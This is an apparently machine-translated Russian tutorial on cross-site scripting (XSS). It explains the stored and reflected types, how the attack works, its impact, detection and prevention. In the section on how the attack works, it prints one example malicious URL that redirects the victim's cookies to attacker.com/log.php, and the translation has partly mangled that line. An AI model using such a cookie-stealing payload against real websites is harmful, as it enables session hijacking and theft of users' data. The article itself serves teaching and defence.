Введение в межсайтовый скриптинг

  • С ростом числа веб-приложений в Интернете, веб-безопасность стала серьезной проблемой. Взлом и кража личных данных пользователей теперь распространены, и это угрожает им использовать любое приложение. Межсайтовый скриптинг - одна из самых популярных атак на безопасность пользователей в сети. Давайте разберемся, что такое межсайтовый скриптинг.
  • Межсайтовый скриптинг, называемый XSS, представляет собой уязвимость системы безопасности компьютера, в которой злоумышленник пытается добавить вредоносный код в виде сценариев на доверенный веб-сайт / веб-страницу. Это атака с использованием кода на стороне клиента, и вредоносный скрипт выполняется в веб-браузере пользователя, когда он обращается к этому веб-сайту / веб-странице. Косвенно эти веб-сайты становятся средой для отправки вредоносного кода пользователю. Внедряя сценарии, злоумышленники обходят DOM (объектную модель документа) ограничений безопасности и получают доступ к конфиденциальному содержимому страницы пользователя, сеансовым cookie-файлам, истории просмотра большинства личных данных, поддерживаемых браузером.
  • Веб-сайт, содержащий форумы, доски объявлений, веб-страницы, на которых можно оставлять комментарии, а также те, которые используют неанизированный пользовательский ввод и сгенерированный таким образом вывод, наиболее уязвимы для атак XSS. Хотя XSS-атаки возможны в VBScript, ActiveX и CSS, они наиболее распространены в Javascript, поскольку являются фундаментом большинства браузеров.

Различные типы межсайтовых сценариев (XSS)

Хотя конкретной классификации межсайтовых сценариев не существует, некоторые эксперты классифицируют ее на два типа, которые подробно обсуждаются ниже:

Хранимые XSS-атаки :

  • Хранимые XSS - это те, в которых вредоносный скрипт, введенный злоумышленником, сохраняется в базе данных и запускается в браузере пользователя, когда он пытается получить доступ к базе данных в той или иной форме. Они также известны как постоянные или хранимые XSS. Это одна из самых разрушительных атак, особенно в тех случаях, когда веб-сайт / веб-страница позволяет комментировать или встраивать HTML-контент.
  • Злоумышленник добавляет в комментарий javascript, который сохраняется в базе данных, и когда пользователь заходит на уязвимую страницу, получая данные из базы данных, вредоносный скрипт запускается в его браузере и злоумышленник получает несанкционированный доступ к личным данным пользователя.
  • Например, на веб-сайте электронной коммерции, таком как Olx, на котором есть неанализованное окно сообщения для описания продукта, злоумышленник, являющийся продавцом продукта, добавляет в него вредоносный javascript, и он сохраняется в базе данных веб-сайта.
  • Когда покупатель откроет описание товара для просмотра деталей товара, теперь он станет жертвой, так как скрипт выполняется в его веб-браузере, и все данные пользователя, которые позволяет браузер, будут захвачены.

Процедура XSS атаки:

  • Это один из наиболее распространенных способов, с помощью которого злоумышленник может вызвать XSS-атаку на пользователя. Как правило, в процедуре XSS-атак злоумышленник нацеливается на жертву, отправляя электронное письмо, вредоносную ссылку или прикрепляя строку в результате поиска, которая указывает на доверенный веб-сайт, но содержит вредоносный код JavaScript.
  • Если жертва нажимает на этот URL-адрес, он инициирует HTTP-запрос и отправляет запрос уязвимому веб-приложению. Затем запрос возвращается жертве с ответом встроенного кода javascript, который веб-браузер выполняет, считая, что он поступает с доверенного веб-сайта и приводит к взлому конфиденциальных данных его браузера.
  • Например, на веб-сайте электронной коммерции есть поле поиска, в котором пользователь может искать элементы, и строка, написанная в окне поиска, отображается в URL-адресе веб-сайта, когда запрос на поиск отправляется на сервер.
  • Злоумышленник создает ссылку, по которой вредоносный скрипт объединяется в URL и отправляет его жертве по электронной почте. Когда жертва открывает эту ссылку, запрос отправляется на вредоносный веб-сайт злоумышленника, и все данные браузера жертвы перехватываются и отправляются в систему злоумышленника.

Как работает межсайтовый скриптинг (XSS)?

  • В уязвимости Cross Site Scripting (XSS) основным мотивом злоумышленника является кража данных пользователя путем запуска вредоносного скрипта в его браузере, который внедряется в контент веб-сайта, который пользователь использует различными способами.
  • Например, когда пользователь ищет какой-либо текст на веб-сайте, запрос отправляется на сервер в виде:

https://www.abcwebsite.com/search?q=text1

В результате поиска веб-сайт возвращает результат вместе с тем, что пользователь искал, например:

Вы искали: текст1

Если функция поиска уязвима для XSS, то злоумышленник может добавить вредоносный скрипт в URL:

https://www.abcwebsite.com/search= местоположение документа = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Когда жертва нажимает на эту ссылку, она перенаправляется на вредоносный веб-сайт, т. Е. Https://attacker.com, и все данные браузера напрямую отправляются на компьютер злоумышленника, в результате чего злоумышленник крадет все токены / куки-файлы сеанса.
  • Таким образом, злоумышленник внедряет свой вредоносный скрипт в URL, Attacker также может сохранить этот скрипт на сервере, который находится под сохраненным XSS.

Влияние уязвимостей межсайтового скриптинга:

Влияние межсайтовых сценариев сильно различается. После использования уязвимости XSS злоумышленник получает полный контроль над браузером жертвы и может выполнять различные действия, которые варьируются от небольших, таких как просмотр истории браузера, до катастрофических, например, вставка червей в компьютер.

Ниже перечислены некоторые действия, которые злоумышленник может выполнить, используя уязвимость XSS:

  1. Утечка конфиденциальной информации, такой как имя пользователя и пароль.
  2. Вставка червей на компьютер.
  3. Перенаправление пользователя на какой-нибудь опасный сайт и принуждение к выполнению некоторых действий
  4. Доступ к истории просмотра жертвы.
  5. Установка программы «Троянский конь».
  6. Заставить пользователя выполнять и изменять значения в приложении, получая доступ через

Обнаружение уязвимостей межсайтового скриптинга:

  • Уязвимости XSS возникают по двум причинам: либо входные данные пользователя не проверены перед отправкой на сервер, либо выходные данные, полученные браузером, не кодируются в формате HTML. Учитывая катастрофические последствия уязвимости XSS и защиту конфиденциальности пользователей, очень важно выяснить, уязвимо ли веб-приложение для XSS или нет.
  • Хотя XSS сложно идентифицировать и удалить, лучший способ проверить это - выполнить проверку безопасности кода и проверить все места, где входные данные из HTTP-запроса могут отображаться как выходные данные в приложении. Использование инструментов автоматического сканирования уязвимостей, которые включают в себя специализированный модуль XSS-сканера для сканирования всего веб-приложения, также может помочь в сканировании и поиске уязвимостей в приложении.

Как предотвратить XSS?

  • XSS является уязвимостью внедрения кода, поэтому очень важно кодировать данные, которые отправляются на сервер, и данные, которые поступают с сервера в браузер пользователя.
  • Проверка данных также очень важна, так что браузер интерпретирует код без каких-либо вредоносных команд. Были введены различные методы предотвращения, в результате чего валидация и кодирование данных были приоритетными для уязвимости веб-сайта к XSS.

Некоторые моменты должны быть сфокусированы, чтобы предотвратить XSS:

  1. Поддержка HTTP Trace на всех веб-серверах должна быть отключена, поскольку злоумышленник может украсть cookie-файл и данные личного браузера через HTTP-вызов трассировки с сервера, даже если document.cookie отключен в браузере жертвы.
  2. Разработчики должны дезинфицировать входные данные и никогда не должны выводить данные, полученные непосредственно от пользователя, без их проверки.
  3. Ссылки, как правило, должны быть запрещены, если они не начинаются с протоколов, включенных в белый список, таких как HTTP: //, https: //, таким образом, предотвращая использование схем URI, таких как javascript: //

Вывод:

Атаки XSS опасны и могут нанести ущерб конфиденциальности пользователя и украсть данные, если обычный пользователь не просматривает приложение тщательно. Поэтому разработчики при разработке приложения должны соблюдать строгие правила безопасности, особенно для данных и сервера, чтобы приложение было наименее уязвимым для XSS, и больше пользователей могло бы положиться на него.

Рекомендуемые статьи

Это было руководство для Что такое межсайтовый скриптинг? Здесь мы обсуждаем различные типы межсайтовых, рабочих, воздействия и предотвращения XSS соответственно. Вы также можете просмотреть наши другие предлагаемые статьи, чтобы узнать больше -

  1. Как работает JavaScript
  2. Что такое фишинговая атака?
  3. Что такое кибератака?
  4. HTTP-кеширование
  5. Как Cookies работают в JavaScript с примером?